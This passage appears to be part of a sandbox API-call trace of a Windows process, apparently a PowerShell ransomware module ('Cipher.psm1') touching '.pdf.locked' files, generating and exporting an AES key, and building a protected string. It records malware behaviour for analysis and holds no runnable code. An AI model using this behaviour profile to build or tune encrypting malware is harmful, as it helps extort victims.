[6]=0xd4, [7]=0x1))) returned 0x0 [0130.639] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.639] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.642] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.643] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.643] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.643] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1e, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.643] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.645] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.647] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.647] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.647] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1f, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.647] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.649] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0130.652] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf.locked"), fInfoLevelId=0x0, lpFileInformation=0x69bb018 | out: lpFileInformation=0x69bb018*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11135432, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x11135432, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x1115bbcd, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x13a24)) returned 1 [0130.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0130.653] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked", lpFilePart=0x0) returned 0x63 [0130.653] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\HSrjj2x8m w.pdf.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\hsrjj2x8m w.pdf.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0130.653] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0130.653] CloseHandle (hObject=0x874) returned 1 [0130.656] GetConsoleOutputCP () returned 0x1b5 [0130.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.657] GetConsoleOutputCP () returned 0x1b5 [0130.657] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.657] GetConsoleOutputCP () returned 0x1b5 [0130.658] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.658] GetConsoleOutputCP () returned 0x1b5 [0130.658] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.658] GetConsoleOutputCP () returned 0x1b5 [0130.659] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.659] GetConsoleOutputCP () returned 0x1b5 [0130.659] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.659] GetConsoleOutputCP () returned 0x1b5 [0130.659] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.659] GetConsoleOutputCP () returned 0x1b5 [0130.660] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.660] GetConsoleOutputCP () returned 0x1b5 [0130.660] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.660] GetConsoleOutputCP () returned 0x1b5 [0130.661] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.661] GetConsoleOutputCP () returned 0x1b5 [0130.661] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.661] GetConsoleOutputCP () returned 0x1b5 [0130.662] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.662] GetConsoleOutputCP () returned 0x1b5 [0130.662] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2c0) returned 0 [0130.662] GetConsoleOutputCP () returned 0x1b5 [0130.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae358, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae358) returned 0 [0130.663] GetConsoleOutputCP () returned 0x1b5 [0130.663] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.663] GetConsoleOutputCP () returned 0x1b5 [0130.664] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae334, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae334) returned 0 [0130.664] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3fc | out: lpConsoleScreenBufferInfo=0x99ae3fc) returned 1 [0130.664] GetConsoleOutputCP () returned 0x1b5 [0130.665] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae398, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae398) returned 0 [0130.665] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0130.665] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x69e23a8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x69e23a8*, lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0130.666] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0130.666] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0130.672] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x20, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.672] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.673] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\xce00\x695\xcee8\x695\xcea0\x695\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0130.673] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0130.673] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.673] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x12, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.673] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.674] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0130.674] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0130.674] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.674] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.674] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.725] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x4396a38) returned 1 [0130.726] CryptGenKey (in: hProv=0x4396a38, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84bf8) returned 1 [0130.726] CryptContextAddRef (hProv=0x4396a38, pdwReserved=0x0, dwFlags=0x0) returned 1 [0130.726] CryptExportKey (in: hKey=0x8e84bf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0130.726] CryptExportKey (in: hKey=0x8e84bf8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a3d12c, pdwDataLen=0x99ae7f8 | out: pbData=0x6a3d12c*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0130.726] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="\x602d\xcf41\xb543\x2315\xecda\x7304\x3ee6\x63f3\x65f6\x1a1\xe374\x42c1\x950d\x3cb2\xe02e\x5440\xc5af\x593d\xca21\x7229\xdd17\xf4fd\x4029\xfaa4\xbc04\x67b6\xf18b\xe093\xe92d\x7661\xf83b\x2ade\x5720\x56bf\xe4f4\x99a\x86d0\x42c\xe4f8\x99a\x87a8\x42c\xe3f8\x99a\x65bc\x7477\xe418\x99a\x08") returned 0x0 [0130.726] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.726] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.726] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.727] SysStringLen (param_1="") returned 0x8 [0130.727] SysStringLen (param_1="9") returned 0x8 [0130.727] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.727] SysStringLen (param_1="\x31f7\xcd08\x3d8f\x564c\xc07d\x2dc\x10fb\x81f5") returned 0x8 [0130.727] SysStringLen (param_1="\x31f7\xcd08\x3d8f\x564c\xc07d\x2dc\x10fb\x81f5") returned 0x8 [0130.727] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.727] SysStringLen (param_1="9f") returned 0x8 [0130.727] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.727] SysStringLen (param_1="\x7298\x98d3\x83\x4b11\xd834\x2d41\xa503\x9d8b") returned 0x8 [0130.727] SysStringLen (param_1="\x7298\x98d3\x83\x4b11\xd834\x2d41\xa503\x9d8b") returned 0x8 [0130.727] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.727] SysStringLen (param_1="9fm") returned 0x8 [0130.727] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.728] SysStringLen (param_1="\x48ec\x7978\xaef9\x4e82\x6ce4\x79f0\x4fb4\xb2e4") returned 0x8 [0130.728] SysStringLen (param_1="\x48ec\x7978\xaef9\x4e82\x6ce4\x79f0\x4fb4\xb2e4") returned 0x8 [0130.728] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.728] SysStringLen (param_1="9fmJ") returned 0x8 [0130.728] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.728] SysStringLen (param_1="\x33fb\xc99e\x61fe\xf1f5\xf2e8\x69ab\xb594\x3391") returned 0x8 [0130.728] SysStringLen (param_1="\x33fb\xc99e\x61fe\xf1f5\xf2e8\x69ab\xb594\x3391") returned 0x8 [0130.728] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.728] SysStringLen (param_1="9fmJG") returned 0x8 [0130.728] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.728] SysStringLen (param_1="乧儔涸昱稰ŧ䱠ઍ") returned 0x8 [0130.728] SysStringLen (param_1="乧儔涸昱稰ŧ䱠ઍ") returned 0x8 [0130.728] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.728] SysStringLen (param_1="9fmJGf") returned 0x8 [0130.728] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.729] SysStringLen (param_1="\x4f44\xd62e\x9966\x3729\x91b5\x912d\xb76e\x7755") returned 0x8 [0130.729] SysStringLen (param_1="\x4f44\xd62e\x9966\x3729\x91b5\x912d\xb76e\x7755") returned 0x8 [0130.729] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.729] SysStringLen (param_1="9fmJGfe") returned 0x8 [0130.729] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.729] SysStringLen (param_1="\xcdd6\x6ff4\xd687\x5253\x2c14\xde3c\xb79e\xac67") returned 0x8 [0130.729] SysStringLen (param_1="\xcdd6\x6ff4\xd687\x5253\x2c14\xde3c\xb79e\xac67") returned 0x8 [0130.729] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.729] SysStringLen (param_1="9fmJGfel") returned 0x8 [0130.729] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0130.729] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041") returned 0x8 [0130.729] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041") returned 0x8 [0130.729] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041") returned 0x8 [0130.729] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041") returned 0x10 [0130.729] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.729] SysStringLen (param_1="9fmJGfellꉠ窶泿杫⡸") returned 0x10 [0130.729] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.730] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\x64f4\x2f66\x7d0\xd4b6\x703c\x5e15\xa602\xf2c1") returned 0x10 [0130.730] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\x64f4\x2f66\x7d0\xd4b6\x703c\x5e15\xa602\xf2c1") returned 0x10 [0130.730] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.730] SysStringLen (param_1="9fmJGfellr窶泿杫⡸") returned 0x10 [0130.730] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.730] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xa00\x2a11\xe097\x67d\x9976\x776b\xef8f\x3fa6") returned 0x10 [0130.730] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xa00\x2a11\xe097\x67d\x9976\x776b\xef8f\x3fa6") returned 0x10 [0130.730] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.730] SysStringLen (param_1="9fmJGfellrv泿杫⡸") returned 0x10 [0130.730] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.730] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xb2fa\xa96d\xb1e9\x332\x1ec5\x2fcc\x9cd0\x7b7") returned 0x10 [0130.730] SysStringLen (param_1="\x9c41\xa24a\x9fe\xe066\xa83f\x73fe\x6d83\xc041\xb2fa\xa96d\xb1e9\x332\x1ec5\x2fcc\x9cd0\x7b7") returned 0x10 [0130.730] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.730] SysStringLen 